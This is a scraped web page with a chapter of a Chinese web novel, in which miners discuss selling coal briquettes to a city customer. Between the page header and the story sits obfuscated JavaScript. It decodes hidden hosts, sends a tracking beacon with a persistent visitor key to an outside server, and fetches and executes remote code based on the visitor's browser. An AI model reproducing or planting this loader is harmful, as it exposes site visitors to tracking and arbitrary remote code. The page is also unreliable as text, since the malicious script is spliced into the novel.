足迹
八零宠婚:甜妻太旺夫谢瑶
登录
关灯
护眼
字体:

第1475章(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

刘三冰咕噜喝着小米粥,皱眉看了看身侧的袁博。

袁博蹲坐在小凳子上,一手馅饼一手小米粥,大口大口吃着。

刘三冰看不下去了,手肘忍不住捅了捅他。

“阿博,人家是来谈生意的,你咋能跑出来呀?你得抓紧跟人家谈,指不定真能谈下来。做蜂窝煤的,一天少说也好几吨的量吧?省城密密麻麻都是人,一户人家一天用好几斤蜂窝煤,多的十几斤。一百户就是一千斤,一千户就是一吨。普通人家一买至少五十斤,多的一百来斤。整个省城那么多户人家,一天得多少量呀!”

“量蛮大的。”袁博答:“荣伯说了,他们主要是在城南那边做蜂窝煤,整个城南区就他们家卖最多最好,几乎垄断整个城南区。”

“忒好!”刘三冰催促:“你麻利跟人家讨好去,一天十几吨的量,长年累月积攒下来多呀!像这样天天要煤的单子,千万不能丢呀!”

袁博低笑:“不急,让他们好好考虑。”

“你——他们是不是想讲价?”刘三冰紧张问:“是不是要你降价?”

袁博摇头:“煤区统一卖,我不会胡乱降价。还是老规矩,反正咱们有货车,就优惠车费,其他跟其他煤矿一样算。”

“那也够优惠了。”刘三冰咕哝:“你跟老薛合伙接手货车站的五辆老车,花了一大笔钱。现在雇司机加上老薛那边一半的车费,一个月下来也得好多钱。”

袁博挑了挑眉,解释:“想要生意做得好,具有竞争力,就必须提高效率,投资是必不可少的。比如咱们现在最大的客户鞠老板,他如果不是看中咱们整体价格低,足足少了车费一大条费用,他也不会跟咱们订合同一天平均两百吨煤。现在咱们才刚刚开始,争取薄利多销吧。销路走得动,才是长远之道。”

“又是小颖说的?”刘三冰笑问。

袁博低笑:“是啊!她确确实实是这么说。前天佟主任打电话给村长,还特意打来咱们的办公室,说全面支持煤山的开发,第一年的税收全免。明年第三季度开始收税,而税费都要用来修建惠城城郊的公路。佟主任也说了,最近又批了几个挖矿准许证。接下来山上会有更多的公司或企业来挖煤。咱们别太贪心,以后竞争会越来越大,尽量薄利多销争取多一些客户。”

“那你倒是去争取呀!”刘三冰催促:“快去办公室陪客人去,多跟人家聊聊,套一套热乎。”

袁博微窘摇头:“那一套我可不会。条件已经摆上了,态度我也表了,至于同意不同意,咱们不好劝人家,得让人家自己决定。”

“哎哟喂!”刘三冰皱眉大笑:“你说你咋就一根筋呀!做生意嘛,口才多重要呀。别人家是没一朵花,非要夸出一朵花来。你这里花不少,你却还不会去说!你——你呀你!”

袁博低笑,喝了一大口粥。

“诚意我已经表了。这生意不比我们的门前生意,看好了直接交钱载煤走。人家要的是长期累月的生意,不得好好仔细商量考虑?别急,让人家好好想想再做决定。”

刘三冰忍不住咕哝:“真是皇帝不急太监急。”

一旁的李诚听罢,抿嘴低低笑了。

刘三冰睨他一眼,笑问:“李会计,你笑啥呢?偷笑我是吧?”

“......没。”李诚微窘,解释:“你别误会,我不是那个意思。我是觉得你们都说得对,不过个人看法做法不一样。”

刘三冰哈哈笑了,拍了拍他的胳膊。

“甭不好意思,我们都是粗人,有什么说什么。你就算是骂我,我也不会随便生气。”